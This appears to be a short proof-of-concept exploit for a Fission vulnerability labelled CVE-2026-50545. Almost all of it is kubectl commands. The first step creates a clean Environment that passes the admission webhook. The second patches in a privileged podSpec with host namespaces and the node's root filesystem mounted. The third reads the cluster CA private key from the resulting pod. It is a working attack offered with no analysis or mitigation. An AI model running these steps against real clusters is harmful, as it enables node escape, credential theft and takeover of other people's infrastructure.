CVE-2026-50545: Fission Environment PodSpec Injection Leading to Node Escape and Cluster Takeover

# Step 1: create a clean Environment (webhook fires, passes)
kubectl apply -f - <<'EOF'
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: pwn-env
  namespace: default
spec:
  version: 2
  runtime:
    image: fission/python-env:latest
  builder:
    image: fission/python-builder:latest
    command: build
EOF

# Step 2: patch in dangerous fields (webhook NOT called on UPDATE)
kubectl patch environment pwn-env --type=merge -p '{
  "spec": {
    "runtime": {
      "podSpec": {
        "hostPID": true,
        "hostIPC": true,
        "hostNetwork": true,
        "volumes": [{
          "name": "host-root",
          "hostPath": { "path": "/", "type": "" }
        }],
        "containers": [{
          "name": "python",
          "volumeMounts": [{
            "name": "host-root",
            "mountPath": "/host"
          }],
          "securityContext": {
            "privileged": true,
            "allowPrivilegeEscalation": true
          }
        }]
      }
    }
  }
}'

# Step 3: ~20 s later, poolmgr schedules the poisoned pod
# Read the cluster CA private key from the pod
kubectl exec -n fission-function \
  $(kubectl get pods -n fission-function -l environmentName=pwn-env -o name | head -1) \
  -- cat /host/etc/kubernetes/pki/ca.key